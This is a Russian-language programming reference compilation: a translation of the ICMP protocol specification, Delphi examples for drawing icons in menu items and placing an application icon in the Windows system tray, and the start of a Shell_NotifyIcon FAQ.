Протокол Internet (IP) используется для обработки датаграммы, передаваемой между хост-компьютерами в системе объединенных сетей, называемой Catenet. Устройства, осуществляющие соединение различных сетей, называются шлюзами. Для обеспечения управления шлюзы общаются друг с другом посредством протокола Gateway to Gateway Protocol (GGP). Порой шлюз или хост-компьютер, получающий данные, обменивается информацией с хост-компьютером, отправляющим эти данные. Именно для таких целей используется данный протокол - протокол контрольных сообщений Internet (ICMP). ICMP использует основные свойства протокола Internet (IP), как если бы ICMP являлся протоколом более высокого уровня. Однако фактически ICMP является составной частью протокола Internet и должен являться составной частью каждого модуля IP. Сообщения ICMP должны отправляться в некоторых затруднительных ситуациях. Например, когда датаграмма не может достичь своего адресата, когда шлюз не имеет достаточно места в своем буфере для передачи какой-либо датаграммы, или когда шлюз приказывает хост-компьютеру отправлять информацию по более короткому маршруту. Протокол Internet не создан для того, чтобы обеспечивать абсолютную надежность передачи информации. Целью же данных контрольных сообщений является обеспечение обратной связи, оповещение отправителя данных о проблемах, возникающих в коммуникационном оборудовании. Их целью не является придание надежности протоколу IP. Протокол не дает гарантий, что датаграмма достигает своего адресата или что контрольное сообщение будет возвращено компьютеру, отправившему данные. Некоторые из датаграмм могут исчезнуть в сети, не вызвав при этом ни каких оповещений. Протоколы более высокого уровня, использующие протокол IP, должны применять свои собственные процедуры для обеспечения надежности передачи данных, если таковая требуется. Сообщения ICMP протокола, как правило, оповещают об ошибках, возникающих при обработке датаграмм. Чтобы проблемы с передачей сообщений не вызывали появление новых сообщений, чтобы это в свою очередь не привело к лавинообразному росту количества сообщений, циркулирующих в сети, констатируется, что нельзя посылать сообщения о сообщениях. Также констатируется, что ICMP сообщения можно посылать только о проблемах, возникающих при обработке нулевого фрагмента в сегментированной датаграмме (нулевой фрагмент имеет нуль в поле смещения фрагмента). Форматы сообщений ICMP сообщения посылаются с помощью стандартного IP заголовка. Первый октет в поле данных датаграммы - это поле типа ICMP сообщения. Значение этого поля определяет формат всех остальных данных в датаграмме. Любое поле, которое помечено "unused", зарегистрировано для последующих разработок и должно при отправлении содержать нули. Однако получатель не должен использовать значения этих полей (за исключением процедуры вычисления контрольной суммы). Если обратное особо не оговорено при описании отдельных фрагментов, Internet заголовок должен иметь в своих полях следующие значения:

Версия 4 IHL Длина Internet заголовка; единица измерения - 32-битное слово. Тип сервиса 0 Общая длина Длина Internet заголовка и поля данных в октетах. Идентификация, флаги, смещение фрагмента Используются в случае фрагментации Время жизни Время жизни в секундах. Поскольку значение этого поля уменьшается на единицу в каждой машине, на которой обрабатывается данная датаграмма, то значение этого поля должно, по крайней мере, превышать количество шлюзов, через которые будет проходить данная датаграмма. Протокол ICMP=1 Контрольная сумма заголовка 16-битное дополнение до единицы суммы дополнений до единицы всех 16-битных слов в заголовке. При вычислении данной суммы следует первоначально устанавливать значение этого поля в нуль. В дальнейшем этот алгоритм вычисления контрольной суммы должен быть изменен. Адрес отправления Адрес шлюза или хост-компьютера, который составил данное ICMP сообщение. Если не оговорено обратное, в этом поле может находиться любой из адресов шлюза. Адрес получателя Адрес шлюза или хост-компьютера, которому следует послать данное сообщение. Сообщение о недостижимости порта 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля Internet протокола: Адрес получателя Локальная сеть и адрес компьютера, отправившего исходную датаграмму Поля ICMP протокола Тип 3 КодО невозможно передать датаграмму на локальную сеть, где находится адресат 1 невозможно передать датаграмму на хост-компьютер, являющийся адресатом 2 нельзя воспользоваться указанным протоколом 3 нельзя передать данные на указанный порт 4 для передачи датаграммы по сети требуется фрагментация, однако выставлен флаг DF. 5 сбой в маршрутизации при отправлении Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений октетов в полях ICMP сообщения, начиная с поля типа ICMP. Для вычисления контрольной суммы первоначально значение этого поля обнуляется. В будущем процедура вычисления контрольной суммы может быть изменена. Internet заголовок + 64 бита данных из исходной датаграммы Данное поле содержит Internet заголовок и первые 64 бита данных из исходной датаграммы для выработки сообщения для соответствующего процесса. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера находятся в первых 64 битах поля данных. Описание Если, согласно информации в таблицах маршрутизации шлюза, локальная сеть, указанная в Internet заголовке датаграммы в поле адресата, является недостижимой, например, из-за ее чрезмерной удаленности, то шлюз может послать хост-компьютеру, отправившему датаграмму по Internet сети, сообщение о недостижимости адресата. Кроме этого, в некоторых сетях шлюз может иметь возможность определять доступность отдельного хост-компьютера. Шлюз в такой сети может послать данное сообщение, если хост-компьютер, являющийся адресатом, недоступен. Иная ситуация возникает, когда для достижения адресата датаграмма должна быть разбита шлюзом на отдельные фрагменты, но установлен флаг запрета фрагментации. О этом случае шлюз обязан ликвидировать датаграмму и может при этом послать сообщение о недостижимости адресата. Шлюз может послать сообщения с кодами 0, 1, 4 и 5. Хост-компьютер может послать сообщения с кодами 2 и 3. Сообщение о превышении контрольного времени 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 11 КодО при передаче превышено время жизни 1 превышено контрольное время при сборке фрагментов датаграммы Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм контрольной суммы может быть изменен. Internet заголовок + 64 бита данных из исходной датаграммы Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме. Описание Если фрагмент нулевого размера превысил контрольное время, то сообщение в этом не посылается вовсе. Шлюз может послать сообщение с кодом 0, а хост - с кодом 1. Сообщение о проблемах с параметром 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма указатель не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 12 Код 0 - указатель показывает ошибку Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Указатель Если код = 0, то он указывает на октет, где была обнаружена ошибка. Internet заголовок + 64 бита данных из исходной датаграммы Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме. Описание Если шлюз или хост-компьютер, обрабатывающий датаграмму, обнаруживает проблему с обработкой параметров заголовка, и это не позволяет завершить ее обработку, то он должен ликвидировать рассматриваемую датаграмму. Одной из потенциальных причин такой неприятности могут бить неправильные аргументы в опции. Шлюз или хост-компьютер в сообщении о проблеме с параметрами может также упомянуть хост-компьютер, породивший датаграмму с ошибкой. Сообщения такого типа посылаются лишь в том случае, если ошибка приводит к ликвидации этой датаграммы. Указатель определяет октет в заголовке исходной датаграммы, где была обнаружена ошибка (этот ошибочный октет может находиться даже посередине опции). Например, 1 указывает на то, что имеется какая-то ошибка в поле типа сервиса, а (если имеются опции) 20 определяет, что имеется ошибка в коде типа для первой опции. Код 0 сообщения может приходить как от шлюза, так и от хост-компьютера. Сообщение для приостановки отправителя 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 4 Код 0 Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Internet заголовок + 64 бита данных из исходной датаграммы Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исходной датаграммы. Описание Шлюз может ликвидировать Internet датаграммы, если у него нет места в буфере для постановки этих датаграмм в очередь на от правление в очередную сеть по маршруту следования к адресату. Если шлюз ликвидирует датаграмму, то он должен послать сообщение для приостановки хост-компьютеру в Internet системе, отправившему данную датаграмму. Сообщение о приостановке может послать также сам адресат, если датаграммы приходят слишком быстро, чтобы успеть их обработать. Сообщение о приостановке является за просом для хост-компьютера уменьшить скорость посылки данных на этот конкретный адрес. Шлюз может посылать сообщение для при остановки отправителя в каждом случае ликвидации. При получении такого сообщения хост-компьютер, отправивший данные, должен уменьшить скорость посылки данных по этому адресу до тех пор, пока не перестанут приходить запросы на приостановку с данного шлюза. После этого хост-компьютер, отправляющий данные, может постепенно увеличивать скорость посылки данных по этому адресу, пока вновь не станут приходить сообщения о приостановке. Шлюз или хост-компьютер может посылать сообщение о приостановке еще до достижения предельной пропускной способности, и не ждать, пока этот предел будет пройден. Это означает, что датаграмма с данными, вызвавшая появление сообщения о приостановке, все же может достичь своего адресата. И шлюз и хост-компьютер могут отправить сообщение с кодом 0. Сообщение о переадресации 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Internet адрес шлюза Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 5 КодО - переадресация датаграмм для сети 1 - переадресация датаграмм для хост-компьютера 2 - переадресация датаграмм для типа услуг и сети 3 - переадресация датаграмм для типа услуг и хост-компьютера Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Internet адрес шлюза Адрес шлюза, на который должен быть проложен маршрут к сети, указанной в поле адреса в исходной датаграмме с данными. Internet заголовок + 64 бита данных из исходной датаграммы Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исход ной датаграммы. Описание Шлюз посылает сообщение на хост-компьютер о переадресации в следующей ситуации: Шлюз G1 получает Internet датаграмму от хост-компьютера в сети, где он расположен. Шлюз G1 проверяет таблицу маршрутизации и находит адрес следующего шлюза G2 в качестве маршрута для датаграммы по пути в сеть X, где расположен ее адресат. Если G2 и исходный хост-компьютер идентифицируются Internet адресом как находящиеся в одной и той же сети, то на хост-компьютер следует послать сообщение о переадресации. Сообщение о переадресации заставляет хост-компьютер посылать датаграммы для сети X прямо на шлюз G2, поскольку это более короткий путь, нежели привлекать еще шлюз G1. Шлюз передает данные исходной датаграммы их адресату в системе Internet. Для датаграмм с опциями IP маршрутизации отправления и адресом шлюза в поле получателя сообщение не посылается, даже если и существует более оптимальный маршрут к конечному адресату, чем следующий адрес, указанный в такой опции маршрута. Шлюзом могут быть переданы сообщения с кодами 0, 1, 2 и 3. Эхо-сообщение и сообщение в ответ на эхо 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Идентификатор Номер очереди Данные ..... Поля IP заголовка Адреса Адрес отправителя в эхо-сообщении будет адресом получателя в ответном сообщении. Чтобы сформировать сообщение ответа, следует просто переставить местами адреса отправителя и получателя, код типа изменить на 0 и пересчитать контрольную сумму. Поля ICMP сообщения Тип8 - эхо-сообщение 0 - сообщение в ответ на эхо Код 0 Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы это поле должно быть сперва обнулено. Если общая длина сообщения нечетная, то для вычисления контрольной суммы поле данных дополняется еще одним нулевым октетом. В будущем алгоритм вычисления контрольной суммы может быть изменен. Идентификатор Если код = 0, то идентификатор для соотнесения эхо-сообщений и ответов на них, должен быть обнулен. Номер очереди Если код = 0, то номер очереди, служащий для соотнесения эхо-сообщений и ответов на них, должен быть обнулен. Описание Данные из эхо-сообщения должны быть переданы в ответе на это сообщение. Идентификатор и номер очереди может использоваться отправителем эхо-сообщения с целью идентификации приходящих пакетов. На пример, идентификатор может использоваться в качестве порта подобно протоколам TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу при посылке каждого эхо сообщения (запроса). Компьютер, отозвавшийся на это сообщение, возвращает в своем ответе те же значения для идентификатора и номера очереди, что были в исходном эхо-сообщении. Как шлюз, так и хост-компьютер могут возвращать сообщение с кодом 0. Сообщение со штампом времени и сообщение с ответом на штамп времени 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Идентификатор Номер очереди Штамп времени отправления Штамп времени получения Штамп времени передачи Поля IP заголовка Адреса Адрес отправителя в сообщении со штампом времени будет адресом получателя в сообщении с ответом. Чтобы сформировать ответ на сообщение, следует просто поменять местами адреса отправителя и получателя, выбрать код типа 14, а также пересчитать контрольную сумму. Поля ICMP сообщения Тип13 для сообщения со штампом времени 14 для ответа на сообщение со штампом времени Код 0 Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы это поле должно быть сперва обнулено. В будущем алгоритм вычисления контрольной суммы может быть изменен. Идентификатор Если код = 0, то идентификатор, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен. Номер очереди Если код = 0, то номер очереди, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен. Описание Данные из сообщения (штамп времени) возвращаются вместе с ответом, при этом в них добавляется еще один штамп времени. Штамп времени - это 32 бита, где записано время в миллисекундах, прошедшее после полуночи по единому времени (UT). Один из примеров использования таких временных штампов приведен в документе. Штамп времени отправления - это время, которое отправитель фиксировал последний раз перед посылкой сообщения. Штамп времени получения - это время, когда исходное сообщение впервые увидел получатель первоначального сообщения. Штамп времени передачи - это время, которое фиксировал в последний раз компьютер, отправляющий ответное сообщение. Если нет возможности измерять время в миллисекундах или нельзя определить единое время (UT), то в штамп все же можно занести имеющееся время, снабдив его единицей в старшем бите. Последнее также указывает на запись нестандартного значения в этом поле. Идентификатор и номер очереди могут использоваться отправителем для соотнесения сообщений (запросов) и ответов на них. На пример, идентификатор может использоваться в качестве порта, аналогично протоколам TCP и UDP, для идентификации сессии. Номер очереди может увеличиваться на единицу при каждой посылке сообщения (запроса). Адресат возвращает для этих параметров те значения, которые были обнаружены в запросе. И шлюз и хост-компьютер могут возвращать сообщения с кодом 0. Запрос информации и ответное сообщение с информацией 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Идентификатор Номер очереди Поля IP заголовка Адреса Адрес отправителя в сообщении с запросом информации окажется адресом получателя в ответном сообщении с информацией. Чтобы сформировать ответное сообщение, следует просто поменять местами адреса отправителя и получателя, код типа сменить на 16, пересчитать контрольную сумму. Поля ICMP сообщения Тип15 - сообщение с запросом информации 16 - ответное сообщение с информацией Код 0 Контрольная сумма Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы следует предварительно обнулить поле самой контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Идентификатор Если код = 0, то идентификатор, служащий для соотнесения запросов и ответов, может быть обнулен. Номер очереди Если код = 0, то номер очереди, служащий для соотнесения запросов и ответов, может быть обнулен. Описание Данное сообщение может быть послано, когда в IP заголовке в полях отправителя и получателя записаны нули (это означает "именно эту" локальную сеть). В ответ должен быть послан IP модуль с полностью заданными адресами. Данное сообщение является способом, с помощью которого хост-компьютер сможет определить номер сети, куда он подключен. Отправитель сообщений может использовать идентификатор и номер очереди для соотнесения запросов и пришедших ответов. Например, идентификатор может использоваться как порт в протоколах TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу всякий раз, когда посылается запрос. Адресат возвращает в ответе те же значения этих параметров, которые были обнаружены в запросе. И хост-компьютер и шлюз могут возвращать сообщения с кодом 0. Список типов сообщений: 0 ответ на запрос эхо 3 адресат недостижим 4 приостановка отправителя 5 переадресация 8 эхо-запрос 11 превышение контрольного времени 12 проблемы с параметрами 13 штамп времени 14 ответ на запрос штампа времени 15 запрос информации 16 ответ на запрос информации.

Иконки в PopupMenu.

type
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    // * * * * Элемент для Menu Bar * * * * /
      Open1: TMenuItem;
    // * * * * Элемент для Menu file * * * * /
      procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    {private declarations}
  public
    {public declarations}
    Icn, Txt, MnuItm: TBitmap;
  end;
procedure TForm2.FormCreate(Sender: TObject);
var
  R: TRect;
  HIcn: HIcon;
  Ic: TIcon;
  Index: Word;
  FileName: PChar;
begin
  // * * Получаем иконку определенного приложения * * /
    Ic := TIcon.Create;
  Ic.Handle := ExtractAssociatedIcon(Hinstance, // * задаем путь и имя файла * /
    , Index);
  // * * Создаем для текста изображение * * /
    Txt := TBitmap.Create;
  with Txt do
  begin
    Width := Canvas.TextWidth(' Тест');
    Height := Canvas.TextHeight(' Тест');
    Canvas.TextOut(0, 0, ' Тест');
  end;
  // * * Копируем иконку в bitmap для изменения его размера.
    Вы не можете менять размер иконки * * /
    Icn := TBitmap.Create;
  with Icn do
  begin
    Width := 32;
    Height := 32;
    Brush.Color := clBtnFace;
    Canvas.Draw(0, 0, Ic);
  end;
  // * * Создаем окончательное изображение, куда мы помещаем иконку и текст * * /
    MnuItm := TBitmap.Create;
  with MnuItm do
  begin
    Width := Txt.Width + 18;
    Height := 18;
    with Canvas do
    begin
      Brush.Color := clBtnFace;
      Pen.Color := clBtnFace;
      Brush.Style := bsSolid;
      Rectangle(0, 0, Width, Height);
      CopyMode := cmSrcAnd;
      StretchDraw(Rect(0, 0, 16, 16), Icn);
      CopyMode := cmSrcAnd;
      Draw(16, 8 - (Txt.Height div 2), Txt);
    end;
  end;
end;
procedure TForm2.FormShow(Sender: TObject);
var
  ItemInfo: TMenuItemInfo;
  hBmp1: THandle;
begin
  HBmp1 := MnuItm.Handle;
  with ItemInfo do
  begin
    cbSize := SizeOf(ItemInfo);
    fMask := MIIM_TYPE;
    fType := MFT_BITMAP;
    dwTypeData := PChar(MakeLong(hBmp1, 0));
  end;
  // * * Заменяем MenuItem Open1 законченным изображением * *
    SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
      Open1.MenuIndex, true, ItemInfo);
end;
{
В меню существуют некоторые проблемы масштабированием и палитрой иконки.
  Я также ищу лучшее решение, но это все, что я вам могу сейчас дать.
Листинг был изменен для того, чтобы помещать иконки в "чЕкнутое"
  состояние меню(просто это делает Win95).Это позволяет вам иметь
  "чЕкнутое" и "нечЕкнутое" состояние.
}
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Menus, ShellAPI;
type
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Open1: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    Icn, MnuItm: TBitmap;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
  R: TRect;
  HIcn: HIcon;
  Ic: TIcon;
  Index: Word;
begin
  {     /** Получаем иконку некоторого приложения **/}
  Index := 0; { 11-я иконка в файле }
  Ic := TIcon.Create;
  Ic.Handle := ExtractAssociatedIcon(Hinstance,
    'c:\win95\system\shell32.dll', Index);
  {     /** Копируем иконку в bitmap для изменения его размера.
  Вы не можете менять размер иконки **/}
  Icn := TBitmap.Create;
  with Icn do
  begin
    Width := 32;
    Height := 32;
    Canvas.Brush.Color := clbtnface;
    Canvas.Draw(0, 0, Ic);
  end;
  {     /** Создаем окончательное изображение, куда мы помещаем иконку и текст **/}
  MnuItm := TBitmap.Create;
  with MnuItm do
  begin
    Width := 18;
    Height := 18;
    with Canvas do
    begin
      Brush.Color := clbtnface;
      Pen.Color := clbtnface;
      CopyMode := cmSrcAnd;
      StretchDraw(Rect(0, 0, 16, 16), Icn);
    end;
  end;
end;
procedure TForm1.FormShow(Sender: TObject);
var
  ItemInfo: TMenuItemInfo;
  hBmp1: THandle;
begin
  HBmp1 := MnuItm.Handle;
  with ItemInfo do
  begin
    cbSize := SizeOf(ItemInfo);
    fMask := MIIM_CHECKMARKS;
    fType := MFT_BITMAP;
    hBmpunChecked := HBmp1; { Неотмеченное (Unchecked) состояние }
    hBmpChecked := HBmp1; { Отмеченное (Checked) состояние }
  end;
  {     /** Заменяем MenuItem Open1 законченным изображением **/}
  SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
    Open1.MenuIndex, true, ItemInfo);
end;
end.

Иконка на TrayBar - пример 2.

unit shellUnit;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Menus;
const
  WM_MYICONNOTIFY = WM_USER + 123;
type
  TForm1 = class(TForm)
    PopupMenu1: TPopupMenu;
    RestoreItem: TMenuItem;
    N1: TMenuItem;
    FileExitItem1: TMenuItem;
    HideItem: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure RestoreItemClick(Sender: TObject);
    procedure HideItemClick(Sender: TObject);
    procedure FileExitItem1Click(Sender: TObject);
  private
    { Private declarations }
    ShownOnce: Boolean;
  public
    { Public declarations }
    procedure WMICON(var msg: TMessage); message WM_MYICONNOTIFY;
    procedure WMSYSCOMMAND(var msg: TMessage); message WM_SYSCOMMAND;
    procedure RestoreMainForm;
    procedure HideMainForm;
    procedure CreateTrayIcon(n: Integer);
    procedure DeleteTrayIcon(n: Integer);
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
uses ComObj, activex, ShellApi, shlobj, registry;
procedure TForm1.WMICON(var msg: TMessage);
var P: TPoint;
begin
  case msg.LParam of
    WM_LBUTTONDOWN:
      begin
        GetCursorPos(p);
        SetForegroundWindow(Application.MainForm.Handle);
        PopupMenu1.Popup(P.X, P.Y);
      end;
    WM_LBUTTONDBLCLK: RestoreItemClick(Self);
  end;
end;
procedure TForm1.WMSYSCOMMAND(var msg: TMessage);
begin
  inherited;
  if (Msg.wParam = SC_MINIMIZE) then HideItemClick(Self);
end;
procedure TForm1.HideMainForm;
begin
  Application.ShowMainForm := False;
  ShowWindow(Application.Handle, SW_HIDE);
  ShowWindow(Application.MainForm.Handle, SW_HIDE);
end;
procedure TForm1.RestoreMainForm;
var i, j: Integer;
begin
  Application.ShowMainForm := True;
  ShowWindow(Application.Handle, SW_RESTORE);
  ShowWindow(Application.MainForm.Handle, SW_RESTORE);
  if not ShownOnce then
  begin
    for I := 0 to Application.MainForm.ComponentCount - 1 do
      if Application.MainForm.Components[I] is TWinControl then
        with Application.MainForm.Components[I] as TWinControl do
          if Visible then
          begin
            ShowWindow(Handle, SW_SHOWDEFAULT);
            for J := 0 to ComponentCount - 1 do
              if Components[J] is TWinControl then
                ShowWindow((Components[J] as TWinControl).Handle, SW_SHOWDEFAULT);
          end;
    ShownOnce := True;
  end;
end;
procedure TForm1.CreateTrayIcon(n: Integer);
var nidata: TNotifyIconData;
begin
  with nidata do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := Self.Handle;
    uID := 1;
    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
    uCallBackMessage := WM_MYICONNOTIFY;
    hIcon := Application.Icon.Handle;
    StrPCopy(szTip, Application.Title);
  end;
  Shell_NotifyIcon(NIM_ADD, @nidata);
end;
procedure TForm1.DeleteTrayIcon(n: Integer);
var nidata: TNotifyIconData;
begin
  with nidata do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := Self.Handle;
    uID := 1;
  end;
  Shell_NotifyIcon(NIM_DELETE, @nidata);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  ShownOnce := False;
  CreateTrayIcon(1);
  HideItem.Enabled := False;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  DeleteTrayIcon(1);
end;
procedure TForm1.RestoreItemClick(Sender: TObject);
begin
  RestoreMainForm;
  DeleteTrayIcon(1);
  RestoreItem.Enabled := False;
  HideItem.Enabled := True;
end;
procedure TForm1.HideItemClick(Sender: TObject);
begin
  HideMainForm;
  CreateTrayIcon(1);
  HideItem.Enabled := False;
  RestoreItem.Enabled := True;
end;
procedure TForm1.FileExitItem1Click(Sender: TObject);
begin
  Close;
end;
end.
Скачать весь проект

Иконка на TrayBar.

Статьи по Delphi (009)…

Что такое System Tray? О чем идет речь?

Если Вы в операционной ситеме Windows'95 или Windows NT 4.0 пользуетесь оболочкой Explorer, то справа на ТаsкВаr'е Вы должны были видеть "углубленную" область в которой, обычно, помещаются часы, переключатель клавиатуры, регулятор громкости и некоторые другие утилиты.

Они изображаются маленькими иконками и для них существуют ТооlТiр'ы как для кнопок ТооlВаr'ов. При щелчке или двойном щелчке по такой иконке программа обычно выполняет действие по умолчанию, а при щелчке правой кнопкой показывает Pop-Up меню. На уровне оболочки System Tray это приложение, поддерживающее окно, которое вы видите как "углубленную" область и некоторый сервис для работы с этим окном.

Как мне перенести свою программу на Tray?

Это типичный вопрос программиста, пишущего какую-нибудь утилиту, работающую в Background во время всей работы операционной системы (в DOS такие утилиты делались TSR-программами). Но вопрос поставлен не корректно. Обычно задавает этот вопрос программист имеет в виду примерно следующее : "Моя программа работает [почти] все время в минимизированном состоянии и очень жалко места под ее кнопку на ТаsкВаr'е. Как мне сделать, что бы при минимизации [старте|все время] моя программа представлялась иконкой на System Тrау'е и отвечала на сообщения мыши от этой иконки ?" Ответ на этот вопрос состоит из нескольких частей.

Что такое иконка на System Tray?

Ответ на этот вопрос объясняет некорректность вопроса 2. Иконка на Тrау'е это просто картинка, а не окно какой-либо программы (исследование системы с помощью Microsoft Spy++ for Windows 95 показывает, что это не окно вообще). System Tray отслеживает события мыши над иконкой и, в случае надобности, показывает ToolTip для этой иконки. Так же он отсылает сообщения о всех действиях мыши над иконкой окну, которое поместило иконку на Tray. Таким образом, нельзя поместить программу на Tray. Любая программа может добавить столько иконок на Tray, сколько ей необходимо. При этом главное окно программы не обязано исчезать или минимизироваться - примером может служить Microsoft Internet Mail, помещающая иконку "конверт" на Tray в случае появления новых писем.

Как добавить иконку на Tray?

Для работы с SystemTray существует всего одна функция. Вот ее Си-прототип:

WINSHELLAPI BOOL WINAPI Shell_NotifyIcon(
  DWORD dwMessage, // message identifier
  PNOTIFYICONDATA pnid // pointer to structure
);

Эта функция описана в заголовочном файле Win32-SDK "shellapi.h", включаемом в программу при включении "windows.h". Параметр dwMessage может принимать одно из трех значений: NIM_ADD, NIM_DELETE, NIM_MODIFY. Для добавления иконки он должен быть установлен в NIM_ADD. Параметр pnid имеет тип PNOTIFYDATA, который описан как:

typedef struct _NOTIFYICONDATA { // nid
  DWORD cbSize;
  HWND hWnd;
  UINT uID;
  UINT uFlags;
  UINT uCallbackMessage;
  HICON hIcon;
  char szTip[64];
} NOTIFYICONDATA, *PNOTIFYICONDATA;

Поля структуры NOTIFYICONDATA имеют следующий смысл:

cbSize размер структуры, должен быть sizeof(NOTIFYICONDATA). hWnd дескриптор окна, которое будет получать события мыши над иконкой. uID уникальный идентификатор иконки. Идентификатор должен быть уникален в пределах окна - обработчика, передаваемого в hWnd. uFlags битовое поле, определяющее какое из следующих полей несет действительную информацию. Может быть одним из следующих значений: NIF_ICON, NIF_MESSAGE, NIF_TIP или их OR-комбинацией. uCallbackMessage сообщение, передаваемое окну - обработчику при событиях мыши. Желательно получать номер сообщения вызовом RegisterWindowMessage(), но допускаются и значения WM_USER+N, где N > 0. hIcon дескриптор иконки, помещаемой на Tray. szTip текст для ТооlТiр'а, если szTip[0] = 0x00, то ТооlТiр'а не будет.

Таким образом, для добавления иконки на Tray необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_ADD и указателем на заполненный экземпляр структуры.

При добавлении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags, uCallbackMessage, hIcon. Поле szTip можно оставить пустым, если вам не нужен ToolTip. Поле uFlags должно содержать как минимум NIF_MESSAGE | NIF_ICON.

Я добавил иконку на Tray, а как ее там изменить?

После добавления иконки на Tray можно менять саму иконку, ToolTip и сообщение, посылаемое окну. Для этого необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_MODIFY и указателем на заполненный экземпляр структуры.

При изменении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags и поля, отвечающие за параметры иконки, которые вы хотите менять. При этом uFlags должен содержать комбинацию флагов, описывающую поля, которые необходимо менять.

А как удалить иконку с Tray?

Для удаления иконки вы должны знать ее ID и дескриптор окна-обработчика сообщений.

